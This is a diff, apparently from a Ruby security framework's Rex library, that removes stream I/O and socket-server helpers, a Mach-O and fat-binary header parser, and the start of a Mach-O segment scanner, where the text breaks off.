||||
lps = 0
|
||||
eof = false
|
||||
|
||||
# Keep looping until there is no more data to be gotten..
|
||||
while (has_read_data?(ltimeout) == true)
|
||||
# Catch EOF errors so that we can handle them properly.
|
||||
begin
|
||||
temp = read(def_block_size)
|
||||
rescue EOFError
|
||||
eof = true
|
||||
end
|
||||
|
||||
# If we read zero bytes and we had data, then we've hit EOF
|
||||
if (temp and temp.length == 0)
|
||||
eof = true
|
||||
end
|
||||
|
||||
# If we reached EOF and there are no bytes in the buffer we've been
|
||||
# reading into, then throw an EOF error.
|
||||
if (eof)
|
||||
# If we've already read at least some data, then it's time to
|
||||
# break out and let it be processed before throwing an EOFError.
|
||||
if (buf.length > 0)
|
||||
break
|
||||
else
|
||||
raise EOFError
|
||||
end
|
||||
end
|
||||
|
||||
break if (temp == nil or temp.empty? == true)
|
||||
|
||||
buf += temp
|
||||
lps += 1
|
||||
|
||||
break if (lps >= def_max_loops)
|
||||
end
|
||||
|
||||
# Return the entire buffer we read in
|
||||
return buf
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Defaults
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# The default number of seconds to wait for a write operation to timeout.
|
||||
#
|
||||
def def_write_timeout
|
||||
10
|
||||
end
|
||||
|
||||
#
|
||||
# The default number of seconds to wait for a read operation to timeout.
|
||||
#
|
||||
def def_read_timeout
|
||||
10
|
||||
end
|
||||
|
||||
#
|
||||
# The default number of seconds to wait while in a read loop after read
|
||||
# data has been found.
|
||||
#
|
||||
def def_read_loop_timeout
|
||||
0.1
|
||||
end
|
||||
|
||||
#
|
||||
# The maximum number of read loops to perform before returning to the
|
||||
# caller.
|
||||
#
|
||||
def def_max_loops
|
||||
1024
|
||||
end
|
||||
|
||||
#
|
||||
# The default block size to read in chunks from the wire.
|
||||
#
|
||||
def def_block_size
|
||||
16384
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
end
|
||||
|
||||
end end
|
||||
|
|
@ -1,32 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/io/socket_abstraction'
|
||||
|
||||
module Rex
|
||||
module IO
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides an abstraction to a stream based
|
||||
# connection through the use of a streaming socketpair.
|
||||
#
|
||||
###
|
||||
module StreamAbstraction
|
||||
include Rex::IO::SocketAbstraction
|
||||
|
||||
#
|
||||
# This method creates a streaming socket pair and initializes it.
|
||||
#
|
||||
def initialize_abstraction
|
||||
self.lsock, self.rsock = Rex::Socket.tcp_socket_pair()
|
||||
self.lsock.extend(Rex::IO::Stream)
|
||||
self.lsock.extend(Ext)
|
||||
self.rsock.extend(Rex::IO::Stream)
|
||||
|
||||
self.monitor_rsock("StreamMonitorRemote")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end
|
||||
|
|
@ -1,221 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'thread'
|
||||
|
||||
module Rex
|
||||
module IO
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides the framework and interface for implementing a streaming
|
||||
# server that can listen for and accept stream client connections. Stream
|
||||
# servers extend this class and are required to implement the following
|
||||
# methods:
|
||||
#
|
||||
# accept
|
||||
# fd
|
||||
#
|
||||
###
|
||||
module StreamServer
|
||||
|
||||
##
|
||||
#
|
||||
# Abstract methods
|
||||
#
|
||||
##
|
||||
|
||||
##
|
||||
#
|
||||
# Default server monitoring and client management implementation follows
|
||||
# below.
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# This callback is notified when a client connects.
|
||||
#
|
||||
def on_client_connect(client)
|
||||
if (on_client_connect_proc)
|
||||
on_client_connect_proc.call(client)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# This callback is notified when a client connection has data that needs to
|
||||
# be processed.
|
||||
#
|
||||
def on_client_data(client)
|
||||
if (on_client_data_proc)
|
||||
on_client_data_proc.call(client)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# This callback is notified when a client connection has closed.
|
||||
#
|
||||
def on_client_close(client)
|
||||
if (on_client_close_proc)
|
||||
on_client_close_proc.call(client)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Start monitoring the listener socket for connections and keep track of
|
||||
# all client connections.
|
||||
#
|
||||
def start
|
||||
self.clients = []
|
||||
self.client_waiter = ::Queue.new
|
||||
|
||||
self.listener_thread = Rex::ThreadFactory.spawn("StreamServerListener", false) {
|
||||
monitor_listener
|
||||
}
|
||||
self.clients_thread = Rex::ThreadFactory.spawn("StreamServerClientMonitor", false) {
|
||||
monitor_clients
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Terminates the listener monitoring threads and closes all active clients.
|
||||
#
|
||||
def stop
|
||||
self.listener_thread.kill
|
||||
self.clients_thread.kill
|
||||
|
||||
self.clients.each { |cli|
|
||||
close_client(cli)
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# This method closes a client connection and cleans up the resources
|
||||
# associated with it.
|
||||
#
|
||||
def close_client(client)
|
||||
if (client)
|
||||
clients.delete(client)
|
||||
|
||||
begin
|
||||
client.close
|
||||
rescue IOError
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# This method waits on the server listener thread
|
||||
#
|
||||
def wait
|
||||
self.listener_thread.join if self.listener_thread
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Callback procedures.
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# This callback procedure can be set and will be called when new clients
|
||||
# connect.
|
||||
#
|
||||
attr_accessor :on_client_connect_proc
|
||||
#
|
||||
# This callback procedure can be set and will be called when clients
|
||||
# have data to be processed.
|
||||
#
|
||||
attr_accessor :on_client_data_proc
|
||||
#
|
||||
# This callback procedure can be set and will be called when a client
|
||||
# disconnects from the server.
|
||||
#
|
||||
attr_accessor :on_client_close_proc
|
||||
|
||||
attr_accessor :clients # :nodoc:
|
||||
attr_accessor :listener_thread, :clients_thread # :nodoc:
|
||||
attr_accessor :client_waiter
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# This method monitors the listener socket for new connections and calls
|
||||
# the +on_client_connect+ callback routine.
|
||||
#
|
||||
def monitor_listener
|
||||
|
||||
while true
|
||||
begin
|
||||
cli = accept
|
||||
if not cli
|
||||
elog("The accept() returned nil in stream server listener monitor: #{fd.inspect}")
|
||||
::IO.select(nil, nil, nil, 0.10)
|
||||
next
|
||||
end
|
||||
|
||||
# Append to the list of clients
|
||||
self.clients << cli
|
||||
|
||||
# Initialize the connection processing
|
||||
on_client_connect(cli)
|
||||
|
||||
# Notify the client monitor
|
||||
self.client_waiter.push(cli)
|
||||
|
||||
# Skip exceptions caused by accept() [ SSL ]
|
||||
rescue ::EOFError, ::Errno::ECONNRESET, ::Errno::ENOTCONN, ::Errno::ECONNABORTED
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
elog("Error in stream server server monitor: #{$!}")
|
||||
rlog(ExceptionCallStack)
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# This method monitors client connections for data and calls the
|
||||
# +on_client_data+ routine when new data arrives.
|
||||
#
|
||||
def monitor_clients
|
||||
begin
|
||||
|
||||
# Wait for a notify if our client list is empty
|
||||
if (clients.length == 0)
|
||||
self.client_waiter.pop
|
||||
next
|
||||
end
|
||||
|
||||
sd = Rex::ThreadSafe.select(clients, nil, nil, nil)
|
||||
|
||||
sd[0].each { |cfd|
|
||||
begin
|
||||
on_client_data(cfd)
|
||||
rescue ::EOFError, ::Errno::ECONNRESET, ::Errno::ENOTCONN, ::Errno::ECONNABORTED
|
||||
on_client_close(cfd)
|
||||
close_client(cfd)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
close_client(cfd)
|
||||
elog("Error in stream server client monitor: #{$!}")
|
||||
rlog(ExceptionCallStack)
|
||||
|
||||
end
|
||||
}
|
||||
|
||||
rescue ::Rex::StreamClosedError => e
|
||||
# Remove the closed stream from the list
|
||||
clients.delete(e.stream)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
elog("Error in stream server client monitor: #{$!}")
|
||||
rlog(ExceptionCallStack)
|
||||
end while true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -1,9 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module MachParsey
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
require 'rex/machparsey/mach'
|
|
@ -1,31 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module MachParsey
|
||||
|
||||
class MachError < ::RuntimeError
|
||||
end
|
||||
|
||||
class MachParseError < MachError
|
||||
end
|
||||
|
||||
class MachHeaderError < MachParseError
|
||||
end
|
||||
|
||||
class ProgramHeaderError < MachParseError
|
||||
end
|
||||
|
||||
class BoundsError < MachError
|
||||
end
|
||||
|
||||
class FatError < ::RuntimeError
|
||||
end
|
||||
|
||||
class FatParseError < FatError
|
||||
end
|
||||
|
||||
class FatHeaderError < FatParseError
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,209 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/machparsey/machbase'
|
||||
require 'rex/machparsey/exceptions'
|
||||
require 'rex/image_source'
|
||||
|
||||
module Rex
|
||||
module MachParsey
|
||||
|
||||
|
||||
class Mach < MachBase
|
||||
attr_accessor :mach_header, :segments, :isource, :bits, :endian, :arch, :fat_offset
|
||||
|
||||
def initialize(isource, offset = 0, fat = false)
|
||||
_parse_mach_header(isource, offset)
|
||||
if fat == true
|
||||
self.fat_offset = offset
|
||||
else
|
||||
self.fat_offset = 0
|
||||
end
|
||||
|
||||
self.isource = isource
|
||||
end
|
||||
|
||||
def _parse_mach_header(isource, offset)
|
||||
self.mach_header = MachHeader.new(isource.read(offset, MACH_HEADER_SIZE_64))
|
||||
bits = mach_header.bits
|
||||
endian = mach_header.endian
|
||||
ncmds = mach_header.ncmds
|
||||
|
||||
if bits == BITS_32
|
||||
offset += MACH_HEADER_SIZE
|
||||
else
|
||||
offset += MACH_HEADER_SIZE_64
|
||||
end
|
||||
|
||||
|
||||
segments = []
|
||||
ncmds.times do
|
||||
load_command = LoadCommand.new(isource.read(offset, LOAD_COMMAND_SIZE), endian)
|
||||
|
||||
case load_command.cmd
|
||||
when LC_SEGMENT
|
||||
segments << Segment.new(isource.read(offset, SEGMENT_COMMAND_SIZE), bits, endian)
|
||||
when LC_SEGMENT_64
|
||||
segments << Segment.new(isource.read(offset, SEGMENT_COMMAND_SIZE_64), bits, endian)
|
||||
end
|
||||
|
||||
offset += load_command.cmdsize
|
||||
end
|
||||
|
||||
self.mach_header = mach_header
|
||||
self.segments = segments
|
||||
self.isource = isource
|
||||
self.bits = bits
|
||||
self.endian = endian
|
||||
|
||||
return segments
|
||||
end
|
||||
|
||||
def self.new_from_file(filename, disk_backed = false)
|
||||
|
||||
file = ::File.open(filename, "rb")
|
||||
|
||||
if disk_backed
|
||||
return self.new(ImageSource::Disk.new(file))
|
||||
else
|
||||
obj = new_from_string(file.read)
|
||||
file.close
|
||||
return obj
|
||||
end
|
||||
end
|
||||
|
||||
def self.new_from_string(data)
|
||||
return self.new(ImageSource::Memory.new(data))
|
||||
end
|
||||
|
||||
def ptr_64?
|
||||
mach_header.bits == BITS_64
|
||||
end
|
||||
|
||||
def ptr_32?
|
||||
ptr_64? == false
|
||||
end
|
||||
|
||||
def ptr_s(vaddr)
|
||||
(ptr_32?) ? ("0x%.8x" % vaddr) : ("0x%.16x" % vaddr)
|
||||
end
|
||||
|
||||
def read(offset, len)
|
||||
isource.read(fat_offset + offset, len)
|
||||
end
|
||||
|
||||
def index(*args)
|
||||
isource.index(*args)
|
||||
end
|
||||
|
||||
def close
|
||||
isource.close
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class Fat < FatBase
|
||||
attr_accessor :fat_header, :fat_archs, :machos, :isource
|
||||
|
||||
def initialize(isource, offset = 0)
|
||||
self.fat_archs = []
|
||||
self.machos = []
|
||||
self.isource = isource
|
||||
self.fat_header = FatHeader.new(isource.read(offset, FAT_HEADER_SIZE))
|
||||
|
||||
if !self.fat_header
|
||||
raise FatHeaderError, "Could not parse FAT header"
|
||||
end
|
||||
|
||||
print "Detected " + self.fat_header.nfat_arch.to_s + " archs in binary.\n"
|
||||
|
||||
offset += FAT_HEADER_SIZE
|
||||
|
||||
self.fat_header.nfat_arch.times do
|
||||
fat_arch = FatArch.new(isource.read(offset, FAT_ARCH_SIZE), self.fat_header.endian)
|
||||
self.fat_archs << fat_arch
|
||||
self.machos << Mach.new(isource, fat_arch.offset, true)
|
||||
offset += FAT_ARCH_SIZE
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
#this is useful for debugging but we don't use it for anything.
|
||||
def _parse_fat_header(isource, offset)
|
||||
archs = []
|
||||
nfat_arch = self.fat_header.nfat_arch
|
||||
|
||||
print "Number of archs in binary: " + nfat_arch.to_s + "\n"
|
||||
|
||||
nfat_arch.times do
|
||||
arch = FatArch.new(isource.read(offset, FAT_ARCH_SIZE), self.endian)
|
||||
|
||||
case arch.cpu_type
|
||||
|
||||
when CPU_TYPE_I386
|
||||
print "i386\n"
|
||||
|
||||
when CPU_TYPE_X86_64
|
||||
print "x86_64\n"
|
||||
|
||||
when CPU_TYPE_ARM
|
||||
print "Arm\n"
|
||||
|
||||
when CPU_TYPE_POWERPC
|
||||
print "Power PC\n"
|
||||
|
||||
when CPU_TYPE_POWERPC64
|
||||
print "Power PC 64\n"
|
||||
end
|
||||
|
||||
offset += FAT_ARCH_SIZE
|
||||
end
|
||||
end
|
||||
|
||||
def self.new_from_file(filename, disk_backed = false)
|
||||
|
||||
file = ::File.open(filename, "rb")
|
||||
|
||||
if disk_backed
|
||||
return self.new(ImageSource::Disk.new(file))
|
||||
else
|
||||
obj = new_from_string(file.read)
|
||||
file.close
|
||||
return obj
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def self.new_from_string(data)
|
||||
return self.new(ImageSource::Memory.new(data))
|
||||
end
|
||||
|
||||
def ptr_64?
|
||||
mach_header.bits == BITS_64
|
||||
end
|
||||
|
||||
def ptr_32?
|
||||
ptr_64? == false
|
||||
end
|
||||
|
||||
def ptr_s(vaddr)
|
||||
(ptr_32?) ? ("0x%.8x" % vaddr) : ("0x%.16x" % vaddr)
|
||||
end
|
||||
|
||||
def read(offset, len)
|
||||
isource.read(offset, len)
|
||||
end
|
||||
|
||||
def index(*args)
|
||||
isource.index(*args)
|
||||
end
|
||||
|
||||
def close
|
||||
isource.close
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
|
@ -1,408 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/struct2'
|
||||
|
||||
module Rex
|
||||
module MachParsey
|
||||
|
||||
require 'rex/machparsey/exceptions'
|
||||
require 'rex/struct2'
|
||||
|
||||
class GenericStruct
|
||||
attr_accessor :struct
|
||||
def initialize(_struct)
|
||||
self.struct = _struct
|
||||
end
|
||||
|
||||
# Access a value
|
||||
def v
|
||||
struct.v
|
||||
end
|
||||
|
||||
# Access a value by array
|
||||
def [](*args)
|
||||
struct[*args]
|
||||
end
|
||||
|
||||
# Obtain an array of all fields
|
||||
def keys
|
||||
struct.keys
|
||||
end
|
||||
|
||||
def method_missing(meth, *args)
|
||||
v[meth.to_s] || (raise NoMethodError.new, meth)
|
||||
end
|
||||
end
|
||||
|
||||
class GenericHeader < GenericStruct
|
||||
end
|
||||
|
||||
BITS_32 = 0
|
||||
BITS_64 = 1
|
||||
ENDIAN_LSB = 0
|
||||
ENDIAN_MSB = 1
|
||||
|
||||
class MachBase
|
||||
|
||||
MH_MAGIC = 0xfeedface
|
||||
MH_MAGIC_64 = 0xfeedfacf
|
||||
MH_CIGAM = 0xcefaedfe
|
||||
MH_CIGAM_64 = 0xcffaedfe
|
||||
MACH_HEADER_SIZE = 28
|
||||
MACH_HEADER_SIZE_64 = 32
|
||||
|
||||
|
||||
MACH_HEADER_LSB = Rex::Struct2::CStructTemplate.new(
|
||||
['uint32v', 'magic', 0],
|
||||
['uint32v', 'cputype', 0],
|
||||
['uint32v', 'cpusubtype',0],
|
||||
['uint32v', 'filetype', 0],
|
||||
['uint32v', 'ncmds', 0],
|
||||
['uint32v', 'sizeofcmds',0],
|
||||
['uint32v', 'flags', 0]
|
||||
)
|
||||
|
||||
MACH_HEADER_MSB = Rex::Struct2::CStructTemplate.new(
|
||||
['uint32n', 'magic', 0],
|
||||
['uint32n', 'cputype', 0],
|
||||
['uint32n', 'cpusubtype',0],
|
||||
['uint32n', 'filetype', 0],
|
||||
['uint32n', 'ncmds', 0],
|
||||
['uint32n', 'sizeofcmds',0],
|
||||
['uint32n', 'flags', 0]
|
||||
)
|
||||
|
||||
|
||||
MACH_HEADER_64_LSB = Rex::Struct2::CStructTemplate.new(
|
||||
['uint32v', 'magic', 0],
|
||||
['uint32v', 'cputype', 0],
|
||||
['uint32v', 'cpusubtype',0],
|
||||
['uint32v', 'filetype', 0],
|
||||
['uint32v', 'ncmds', 0],
|
||||
['uint32v', 'sizeofcmds',0],
|
||||
['uint32v', 'flags', 0],
|
||||
['uint32v', 'reserved', 0]
|
||||
)
|
||||
|
||||
MACH_HEADER_64_MSB = Rex::Struct2::CStructTemplate.new(
|
||||
['uint32n', 'magic', 0],
|
||||
['uint32n', 'cputype', 0],
|
||||
['uint32n', 'cpusubtype',0],
|
||||
['uint32n', 'filetype', 0],
|
||||
['uint32n', 'ncmds', 0],
|
||||
['uint32n', 'sizeofcmds',0],
|
||||
['uint32n', 'flags', 0],
|
||||
['uint32n', 'reserved', 0]
|
||||
)
|
||||
|
||||
#cpu types for Mach-O binaries
|
||||
CPU_TYPE_I386 = 0x7
|
||||
CPU_TYPE_X86_64 = 0x01000007
|
||||
CPU_TYPE_ARM = 0xC
|
||||
CPU_TYPE_POWERPC = 0x12
|
||||
CPU_TYPE_POWERPC64 = 0x01000012
|
||||
|
||||
CPU_SUBTYPE_LITTLE_ENDIAN = 0
|
||||
CPU_SUBTYPE_BIG_ENDIAN = 1
|
||||
|
||||
LC_SEGMENT = 0x1 #/* segment of this file to be mapped */
|
||||
LC_SYMTAB = 0x2 #/* link-edit stab symbol table info */
|
||||
LC_SYMSEG = 0x3 #/* link-edit gdb symbol table info (obsolete) */
|
||||
LC_THREAD = 0x4 #/* thread */
|
||||
LC_UNIXTHREAD = 0x5 #/* unix thread (includes a stack) */
|
||||
LC_LOADFVMLIB = 0x6 #/* load a specified fixed VM shared library */
|
||||
LC_IDFVMLIB = 0x7 #/* fixed VM shared library identification */
|
||||
LC_IDENT = 0x8 #/* object identification info (obsolete) */
|
||||
LC_FVMFILE = 0x9 #/* fixed VM file inclusion (internal use) */
|
||||
LC_PREPAGE = 0xa #/* prepage command (internal use) */
|
||||
LC_DYSYMTAB = 0xb #/* dynamic link-edit symbol table info */
|
||||
LC_LOAD_DYLIB = 0xc #/* load a dynamicly linked shared library */
|
||||
LC_ID_DYLIB = 0xd #/* dynamicly linked shared lib identification */
|
||||
LC_LOAD_DYLINKER = 0xe #/* load a dynamic linker */
|
||||
LC_ID_DYLINKER = 0xf #/* dynamic linker identification */
|
||||
LC_PREBOUND_DYLIB = 0x10 #/* modules prebound for a dynamicly */
|
||||
LC_SEGMENT_64 = 0x19 #/* segment of this file to be mapped */
|
||||
|
||||
|
||||
|
||||
|
||||
class MachHeader < GenericHeader
|
||||
attr_accessor :bits, :endian
|
||||
|
||||
def initialize(rawdata)
|
||||
mach_header = MACH_HEADER_LSB.make_struct
|
||||
if !mach_header.from_s(rawdata)
|
||||
raise MachHeaderError, "Could't access Mach-O Magic", caller
|
||||
end
|
||||
|
||||
if mach_header.v['magic'] == MH_MAGIC
|
||||
endian = ENDIAN_LSB
|
||||
bits = BITS_32
|
||||
mach_header = MACH_HEADER_LSB.make_struct
|
||||
elsif mach_header.v['magic'] == MH_CIGAM
|
||||
bits = BITS_32
|
||||
endian = ENDIAN_MSB
|
||||
mach_header = MACH_HEADER_MSB.make_struct
|
||||
elsif mach_header.v['magic'] == MH_MAGIC_64
|
||||
endian = ENDIAN_LSB
|
||||
bits = BITS_64
|
||||
mach_header = MACH_HEADER_LSB.make_struct
|
||||
elsif mach_header.v['magic'] == MH_CIGAM_64
|
||||
endian = ENDIAN_MSB
|
||||
bits = BITS_64
|
||||
mach_header = MACH_HEADER_MSB.make_struct
|
||||
else
|
||||
raise MachHeaderError, "Couldn't find Mach Magic", caller
|
||||
end
|
||||
|
||||
if !mach_header.from_s(rawdata)
|
||||
raise MachHeaderError, "Could't process Mach-O Header", caller
|
||||
end
|
||||
|
||||
self.struct = mach_header
|
||||
self.endian = endian
|
||||
self.bits = bits
|
||||
end
|
||||
end
|
||||
|
||||
LOAD_COMMAND_SIZE = 8
|
||||
|
||||
LOAD_COMMAND_LSB = Rex::Struct2::CStructTemplate.new(
|
||||
['uint32v','cmd',0],
|
||||
['uint32v','cmdsize',0]
|
||||
)
|
||||
|
||||
LOAD_COMMAND_MSB = Rex::Struct2::CStructTemplate.new(
|
||||
['uint32n','cmd',0],
|
||||
['uint32n','cmdsize',0]
|
||||
)
|
||||
|
||||
class LoadCommand < GenericHeader
|
||||
def initialize(rawdata, endian)
|
||||
|
||||
if endian == ENDIAN_MSB
|
||||
load_command = LOAD_COMMAND_MSB.make_struct
|
||||
else
|
||||
load_command = LOAD_COMMAND_LSB.make_struct
|
||||
end
|
||||
|
||||
if !load_command.from_s(rawdata)
|
||||
raise MachParseError, "Couldn't parse load command"
|
||||
end
|
||||
|
||||
self.struct = load_command
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
SEGMENT_COMMAND_SIZE = 56
|
||||
|
||||
SEGMENT_COMMAND_LSB = Rex::Struct2::CStructTemplate.new(
|
||||
['uint32v', 'cmd', 0],
|
||||
['uint32v', 'cmdsize', 0],
|
||||
['string', 'segname', 16, ''],
|
||||
['uint32v', 'vmaddr', 0],
|
||||
['uint32v', 'vmsize', 0],
|
||||
['uint32v', 'fileoff', 0],
|
||||
['uint32v', 'filesize', 0],
|
||||
['uint32v', 'maxprot', 0],
|
||||
['uint32v', 'initprot', 0],
|
||||
['uint32v', 'nsects', 0],
|
||||
['uint32v', 'flags', 0]
|
||||
)
|
||||
|
||||
SEGMENT_COMMAND_MSB = Rex::Struct2::CStructTemplate.new(
|
||||
['uint32n', 'cmd', 0],
|
||||
['uint32n', 'cmdsize', 0],
|
||||
['string', 'segname', 16, ''],
|
||||
['uint32n', 'vmaddr', 0],
|
||||
['uint32n', 'vmsize', 0],
|
||||
['uint32n', 'fileoff', 0],
|
||||
['uint32n', 'filesize', 0],
|
||||
['uint32n', 'maxprot', 0],
|
||||
['uint32n', 'initprot', 0],
|
||||
['uint32n', 'nsects', 0],
|
||||
['uint32n', 'flags', 0]
|
||||
)
|
||||
|
||||
SEGMENT_COMMAND_SIZE_64 = 72
|
||||
|
||||
SEGMENT_COMMAND_64_LSB = Rex::Struct2::CStructTemplate.new(
|
||||
['uint32v', 'cmd', 0],
|
||||
['uint32v', 'cmdsize', 0],
|
||||
['string', 'segname', 16, ''],
|
||||
['uint64v', 'vmaddr', 0],
|
||||
['uint64v', 'vmsize', 0],
|
||||
['uint64v', 'fileoff', 0],
|
||||
['uint64v', 'filesize', 0],
|
||||
['uint32v', 'maxprot', 0],
|
||||
['uint32v', 'initprot', 0],
|
||||
['uint32v', 'nsects', 0],
|
||||
['uint32v', 'flags', 0]
|
||||
)
|
||||
|
||||
SEGMENT_COMMAND_64_MSB = Rex::Struct2::CStructTemplate.new(
|
||||
['uint32n', 'cmd', 0],
|
||||
['uint32n', 'cmdsize', 0],
|
||||
['string', 'segname', 16, ''],
|
||||
['uint64n', 'vmaddr', 0],
|
||||
['uint64n', 'vmsize', 0],
|
||||
['uint64n', 'fileoff', 0],
|
||||
['uint64n', 'filesize', 0],
|
||||
['uint32n', 'maxprot', 0],
|
||||
['uint32n', 'initprot', 0],
|
||||
['uint32n', 'nsects', 0],
|
||||
['uint32n', 'flags', 0]
|
||||
)
|
||||
|
||||
class Segment < GenericHeader
|
||||
attr_accessor :_bits, :_endian
|
||||
|
||||
def initialize(rawdata, bits, endian)
|
||||
self._bits = bits
|
||||
|
||||
if bits == BITS_64
|
||||
if endian == ENDIAN_MSB
|
||||
segment_command = SEGMENT_COMMAND_64_MSB.make_struct
|
||||
else
|
||||
segment_command = SEGMENT_COMMAND_64_LSB.make_struct
|
||||
end
|
||||
else
|
||||
if endian == ENDIAN_MSB
|
||||
segment_command = SEGMENT_COMMAND_MSB.make_struct
|
||||
else
|
||||
segment_command = SEGMENT_COMMAND_LSB.make_struct
|
||||
end
|
||||
end
|
||||
if !segment_command.from_s(rawdata)
|
||||
raise MachParseError, "Couldn't parse segment command"
|
||||
end
|
||||
|
||||
self.struct = segment_command
|
||||
end
|
||||
|
||||
def Segname
|
||||
v['segname']
|
||||
end
|
||||
|
||||
def Vmaddr
|
||||
v['vmaddr']
|
||||
end
|
||||
|
||||
def Vmsize
|
||||
v['vmsize']
|
||||
end
|
||||
|
||||
def FileOff
|
||||
v['fileoff']
|
||||
end
|
||||
|
||||
def FileSize
|
||||
v['filesize']
|
||||
end
|
||||
end
|
||||
|
||||
class Thread < GenericHeader
|
||||
def initialize(rawdata)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
FAT_MAGIC = 0xcafebabe
|
||||
FAT_CIGAM = 0xbebafeca
|
||||
FAT_HEADER_SIZE = 8
|
||||
|
||||
FAT_HEADER_LSB = Rex::Struct2::CStructTemplate.new(
|
||||
['uint32v', 'magic', 0],
|
||||
['uint32v', 'nfat_arch',0]
|
||||
)
|
||||
|
||||
FAT_HEADER_MSB = Rex::Struct2::CStructTemplate.new(
|
||||
['uint32n', 'magic', 0],
|
||||
['uint32n', 'nfat_arch',0]
|
||||
)
|
||||
|
||||
|
||||
FAT_ARCH_SIZE = 20
|
||||
|
||||
FAT_ARCH_LSB = Rex::Struct2::CStructTemplate.new(
|
||||
['uint32v', 'cpu_type', 0],
|
||||
['uint32v', 'cpu_subtype',0],
|
||||
['uint32v', 'offset', 0],
|
||||
['uint32v', 'size', 0],
|
||||
['uint32v', 'align', 0]
|
||||
)
|
||||
|
||||
FAT_ARCH_MSB = Rex::Struct2::CStructTemplate.new(
|
||||
['uint32n', 'cpu_type', 0],
|
||||
['uint32n', 'cpu_subtype',0],
|
||||
['uint32n', 'offset', 0],
|
||||
['uint32n', 'size', 0],
|
||||
['uint32n', 'align', 0]
|
||||
)
|
||||
|
||||
|
||||
class FatBase
|
||||
|
||||
class FatHeader < GenericHeader
|
||||
attr_accessor :nfat_arch, :endian, :exists
|
||||
|
||||
def initialize(rawdata)
|
||||
fat_header = FAT_HEADER_LSB.make_struct
|
||||
if !fat_header.from_s(rawdata)
|
||||
#raise something
|
||||
end
|
||||
|
||||
magic = fat_header.v['magic']
|
||||
if magic == FAT_MAGIC
|
||||
endian = ENDIAN_LSB
|
||||
elsif magic == FAT_CIGAM
|
||||
endian = ENDIAN_MSB
|
||||
fat_header = FAT_HEADER_MSB.make_struct
|
||||
if !fat_header.from_s(rawdata)
|
||||
raise FatHeaderError, "Could not parse FAT header"
|
||||
end
|
||||
else
|
||||
self.exists = 0
|
||||
return
|
||||
end
|
||||
|
||||
self.nfat_arch = fat_header.v['nfat_arch']
|
||||
self.struct = fat_header
|
||||
self.endian = endian
|
||||
end
|
||||
end
|
||||
|
||||
class FatArch < GenericHeader
|
||||
attr_accessor :cpu_type, :cpu_subtype, :offset, :size
|
||||
|
||||
def initialize(rawdata, endian)
|
||||
if endian == ENDIAN_LSB
|
||||
fat_arch = FAT_ARCH_LSB.make_struct
|
||||
else
|
||||
fat_arch = FAT_ARCH_MSB.make_struct
|
||||
end
|
||||
|
||||
if !fat_arch.from_s(rawdata)
|
||||
raise FatHeaderError, "Could not parse arch from FAT header"
|
||||
end
|
||||
|
||||
self.cpu_type = fat_arch.v['cpu_type']
|
||||
self.cpu_subtype = fat_arch.v['cpu_subtype']
|
||||
self.offset = fat_arch.v['offset']
|
||||
self.size = fat_arch.v['size']
|
||||
self.struct = fat_arch
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class Thread < GenericHeader
|
||||
def initialize(rawdata)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,9 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module MachScan
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
require 'rex/machscan/scanner'
|
|
@ -1,217 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module MachScan
|
||||
module Scanner
|
||||
class Generic
|
||||
|
||||
attr_accessor :mach, :fat, :regex
|
||||
|
||||
def initialize(binary)
|
||||
if binary.class == Rex::MachParsey::Mach
|
||||
self.mach = binary
|
||||
else
|
||||
self.fat = binary
|
||||
end
|
||||
end
|
||||
|
||||
def config(param)
|
||||
end
|
||||
|
||||
def scan(param)
|
||||
config(param)
|
||||
|
||||
$stdout.puts "[#{param['file']}]"
|
||||
|
||||
if !self.mach
|
||||
for mach in fat.machos
|
||||
if mach.mach_header.cputype == 0x7 #since we only support intel for the time being its all we process
|
||||
self.mach = mach
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
self.mach.segments.each do |segment|
|
||||
if segment.segname.include? "__TEXT"
|
||||
scan_segment(segment, param).each do |hit|
|
||||
